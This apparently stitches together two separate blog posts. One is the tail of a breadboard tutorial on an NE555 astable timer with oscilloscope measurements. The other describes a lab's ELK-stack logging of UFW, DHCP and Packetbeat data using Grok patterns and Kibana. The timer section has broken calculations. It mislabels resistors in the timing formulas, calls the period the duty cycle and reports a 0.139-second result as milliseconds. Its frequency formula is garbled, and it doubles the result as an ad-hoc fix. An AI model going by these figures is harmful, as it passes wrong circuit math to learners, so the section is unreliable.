
Strangely, my NE555 Timer's Outputs levels don't seem to be affected by the 0.1uF, Microfarad capacitor on Pin 5, so I've had to connect a capacitor instead, across from the 555 Timer's Power Pin, ( Pin 8 ), directly to Ground through a grey wire.

Now if you've ever looked at an actual 555 Timer on a circuit board, (typically) most of the time, the manufacturer will actually place a capacitor right next to the 555 Timer's power supply. Putting the capacitor closer to the 555 Timer, it'll allow for an even smoother current transition from 0.00 Volts to 5.00. ("For most use cases with 555 Circuits like this one don't actually require that precise of timing.")

So now you should actually start seeing a wave more like this on you screen.

When the circuit starts pulling from the 1uf capacitor on pin 2, initially it actually begins to pull more current than necessary, as we can see this up and down wave as the current begins to level out. (" Honestly It should be way more of and up and down motion as the signal starts to level out back down to 5V's but its actually quite smooth here, not quite sure why but nevertheless" )

We call this the "Duty Cycle", of the 555 Timer. If we go and look at the data sheet for the NE555 Timer, they actually can provide us more information on how to calculate the Duty Cycle of the circuit for your own. As well as what the cycle should end up looking like depending on your model of IC.

Here the 555 Timer's data sheet ("Figure 13"), shows the NE555's typical waveforms generated during A-Stable operation. The Output High-Level's duration, tᴴ, and Output Low-Level's duration, tᴸ, can be calculated as shown in the formula below.

This Formula used to calculate the total time of the 555 Timer's duty cycle yourself. The main part of this formula to be focused on is:

               tᴴ =0.693( Rᴬ + Rᴮ ) C  and, tᴸ = 0.693( Rᴮ ) C .

The ( tᴸ ), shown here, the Output Low Level's duration is equal to ( Rᴬ ), the first 1k (Kilo-Ohm) resistor in Pin 7 of the 555 Timer.

( Rᴮ ) is the 100k (Kilo-Ohm), resistor we attached before from Pin 6, to Pin7. ( Fig. 3 )

So if we take the resistance of the second resistor and times it by 2, or 200k (Kilo-Ohms), ( Remember that since the capacitor on the outside 5 volt power line has to go through the 100k resistor twice to discharge through the Discharge Resistor ), then we add the resistance of the first resistor on pin 6, so that's 201k Ohm's total. Then multiply that by the capacitor's capacitance, ( 0.000001 ), or 1uF (Micro-Farads), we'll get 0.201. Now times that by 0.693, ( *The reason for 0.693, is its the manufacturer's coefficient determined based on their own calculations to make finding the time constant for us a bit easier* ), and finally we have our clocks Duty Cycle: 0.139293.

0.139293 should be the total time for the Duty Cycle's, Output Levels High, and Output Levels Low state's time spend ON ( High ) &, OFF ( Low ).

or 0.139 (Milli-Seconds) spent turning ON, then OFF again.

Other formulas are also helpful when performing this type of work, such as:  

           period = tᴴ + tᴸ =0.693(Rᴬ + 2Rᴮ)C

           frequency ~  1.44 — (Rᴬ +2Rᴮ )C

(Rᴬ + 2Rᴮ)C is just the First resistor (Rᴬ) plus the Second Resistor times 2, (2Rᴮ). which function basically the same as multiplying the 100k Ohm resistor by 2 like we did before. So for this project you can go ahead and ignore the rest of the the formula tables.

Now Something to notice while taking these Oscilloscope measurements, is that the measurements readings on the Oscilloscope's screen horizontally is divided up by 50ms, (Milli-Seconds) and if count those sections up till the duty cycle's Output Levels High, and Output Levels Low state, we read something around 200, 250-ishms milliseconds. Now that's obviously not correct by our calculations we did manually to get 0.139293.

This doesn't seem right, and the answer is quite strange, but makes some sense as to why we're reading this value.

If you take your, (or a), Multi-meter and put both ends of the 1uf, Micro-farad capacitor's legs to the meter, you might actually strangely, end up reading 2uF Micro-farad'(s). ( Mine is somewhere closer to 1.8 uF, Micro-farad but nevertheless. )

I'm not to quite sure the case of why this is, possibly a manufacturing error. Either way the simple fix to this, is to just multiply our clocks cycle's time by x2. So 0.139293, will instead be 0.278586, making our timer's Duty Cycle actually, 0.278 total milliseconds long.

This technique for manually calculating the 555 Timer's Duty cycle yourself can be extremely helpful when working on circuit's requiring extremely precise timing for operations, but for this case its just good to confirm and compare the differences between your own calculations and the measurements you've observed from the oscilloscope itself.

Manually Controlling the Circuit's Signal:

Now one thing that would be useful with this 555 Timer would be some way to control the timings of the signal. This is helpful when creating simple 8-bit computer ram modules, being able to adjust the timing of the output signal based on whatever value you set to it.

For this we'll use a 1M, (Mega-Ohm) Variable Resistor, placed just above the IC on the breadboard like so:

Once on the board, remove the 100k resistor on the 7th Pin of the 555 Timer, and instead connect a 1k, Resistor through to the pin closest to the top of the Potentiometer. ( I had to really squish my resistor in there since of how small of a space with the capacitor in the way, you're circuit's configuration may have to differ a bit )

As well as, make a wire connection from Pin 6 to the middle pin of the Potentiometer. This will in turn change the Voltage that's coming through the 1uF capacitor, varying between the 1,000 and 0 resistor range. Connect the bottom last pin of the Potentiometer to ground (Black Wire).

Now hook back on the probes like before, and take a look at your oscilloscope.

The Signal's length now should depend on how much you turn the Potentiometer, also changing the spacing between the signal's wave.

*Notice the signal's length will change corresponding with how far you adjust the Variable resisting potentiometer to the left and right*

And with that, you've successfully made your very own 555 Precision Timer circuit using the NE555 Integrated Circuit. As well as read the Output signal coming from that timer using a Digital Oscilloscope. Congratulations!

Conclusion:

In conclusion, this project walks through the process and the concepts of how to successfully hook-up, make, and analyze the typical A-Stable sign wave signal generated us the 'NE555' Integrated Precision Circuit Timer. Created Entirely on a Breadboard and using an Oscilloscope

Thank you for reading, and have a great day!

Matt Clark, @, RedCrowLab LLC.

Our internal lab network's logging and analysis system is built with several components and services, focusing on log aggregation and analysis. The central element is a Linux host that serves as the DNS and DHCP server, and also functions as the network gateway. For network security, this host runs UFW (Uncomplicated Firewall). These services generate logs which are sent to ELK stack which is an open source log aggregation and analysis tool which runs locally within our network. Local handling of logs and other data is important to us from a security perspective.

The ELK stack system's logging mechanism involves three main servers: Logstash, Elasticsearch, and Kibana, hosted on a machine within our local network. Logstash handles the initial log processing from various services, modifying and filtering the data. These processed logs are then sent to the Elasticsearch server, which acts as the storage and indexing engine.

Kibana, interfacing with Elasticsearch, is used for log data analytics and visualization. It provides tools for dashboard creation and real-time data analysis, helping with the interpretation of network activities.

Logstash Filtering

Our Logstash configuration comprises inputs for UDP and Beats, processing diverse log types. UDP input on port 5514 handles syslog logs, while Beats input on port 5044 accommodates various data shippers. Packetbeat logs undergo JSON parsing, with a fallback to Grok parsing for network protocol and IP details. UFW, DHCP, and DNS logs are tagged and parsed using Grok to extract relevant information, with date filters normalizing timestamps. Unnecessary fields are removed for data efficiency and to help with filtering important information. The output section directs processed logs to a local Elasticsearch instance, indexing them daily to allow us to easily review and analyze the data.

In our Logstash setup, we use Grok patterns to parse different types of logs:

For Packetbeat Logs:

• Logstash's json filter decodes Packetbeat's JSON-formatted message field into structured Logstash events, transforming key-value pairs into accessible event fields.
• The pattern %{WORD:network.protocol} src=%{IP:source.ip} dst=%{IP:destination.ip} pulls out network protocol, source, and destination IPs. This is only used as a fallback if JSON parsing fails as sometimes (rarely) happens due to the variety of messages Packetbeat sends based on different kinds of traffic.

For UFW Logs:

• We use <%{POSINT:syslog_pri}>%{DATA:syslog_version} %{TIMESTAMP_ISO8601:timestamp} %{HOSTNAME:host} %{DATA:program} - - - \[%{DATA:ufw_action}\] %{GREEDYDATA:ufw_details} to extract syslog info, timestamp, host details, UFW action, and other details.

For DHCP Logs:

• The pattern %{SYSLOGTIMESTAMP:syslog_timestamp} %{SYSLOGHOST:logsource} dhcpd\[%{POSINT:pid}\]: %{DATA:dhcp_action} %{IP:client_ip} is used for getting syslog timestamp, log source, process ID, DHCP actions, and client IPs.

These Grok patterns help us effectively sort and structure the log data for easier analysis and visualization in our system.

Other services can be easily set up to send their logs to our Logstash server. In that case we would then set up more filters to handle the specific type of logs. In the future logging will be integrated for all our internal networks and services from our internal notes database to other isolated networks we work with. Currently all the data we have in the ELK stack setup is coming from our Linux host mentioned earlier. The DHCP, firewall and Packetbeat data all comes from that machine and is transferred to our ELK stack server.

Packetbeat

Packetbeat is a real-time network packet analyzer within the Elastic Stack, capturing and parsing server traffic into structured formats for insights on network performance and traffic trends. Integrated with Elasticsearch and Kibana, it decodes network packets, correlating them with application-level transactions. As one of the specialized Beats designed for various data types—such as Filebeat for logs and Metricbeat for metrics—Packetbeat streamlines data collection and transportation to Elasticsearch or Logstash for indexing and processing. Our current setup utilizes Packetbeat, but the flexibility of Beats allows for easy expansion to other types of data collection.

It is important to note that while Packetbeat captures and analyzes network traffic metadata, it doesn't create PCAPs of all network activity. Instead, our network employs a full packet capture system to record all traffic through our gateway, a process separate from our current ELK Stack integration but planned for future inclusion. Unlike Packetbeat's metadata-focused approach, this system captures entire packets, data included, offering a deeper analysis level for detailed investigation of communications. Packetbeat is serving as a logging and analysis tool and not as a full packet capture tool.

Here is an example of a log generated by Packetbeat in our Kibana interface. We can identify what device it is sent from as well as the type of network traffic it is, based on the fields present. Each of these fields can be queried separately in Kibana. We can create visualizations and trackers based on any of the fields. This allows us great flexibility in filtering all our logs for information we are specifically after at a given time.

Here is an example of network flow frequency which can show us specific network traffic such as music or video streaming in contrast with other types of network traffic. It helps in monitoring network performance, identifying areas of delay or failure. It also aids in analyzing traffic patterns and bandwidth usage.

DHCP

We are running an ISC-DHCP server on our Linux host. This server manages the internal network and gives out IP addresses as well as manages leases and prevents IP collisions.

Here is an example of a log generated by our DHCP server. This shows what type of DHCP action was done as well the MAC and IP addresses of the machine involved. As before all these fields can be queried individually within our Kibana interface.

This visualization allows us to see the regular pattern of lease renewals and requests. This allows easier network troubleshooting issues as well as an advantage in analyzing the security of our network.

UFW (Uncomplicated Firewall)

We are running UFW on our Linux host which allows us to audit and control network traffic coming in and out of lab network. This is probably the most useful for security purpose as it allows us to identify discrepancies with network traffic that could indicate a security breach or just abnormal behavior from one of our internal services.

Here the chart showing the overall frequency of UFW logs. This view can be useful in identifying network issues as well as a security analytics tool. For instance a spike in UFW logs could mean a misconfigured service trying to talk out of the network when its not supposed to.

Based on any combination of these fields and tags we can generate specific queries or generate visualizations for specific combinations of tags for any specific situation we might encounter.  All these charts and visualizations are created using the KQL which is the Kibana Query Language.  This is a valuable tool that you can read more about here which can be used to generate specific queries for our data or create visualizations like we have here.

ELK stack has a variety of other analytical tools including dedicated security analytics. These integrations will be investigated in the future and enable monitoring and security analysis at a deeper level.  We plan to set up alerting and notification systems to send alerts if any abnormal network traffic or logs are detected.

My next post will be about Man-In-The-Middle attacks.

Thanks!

Sequoyah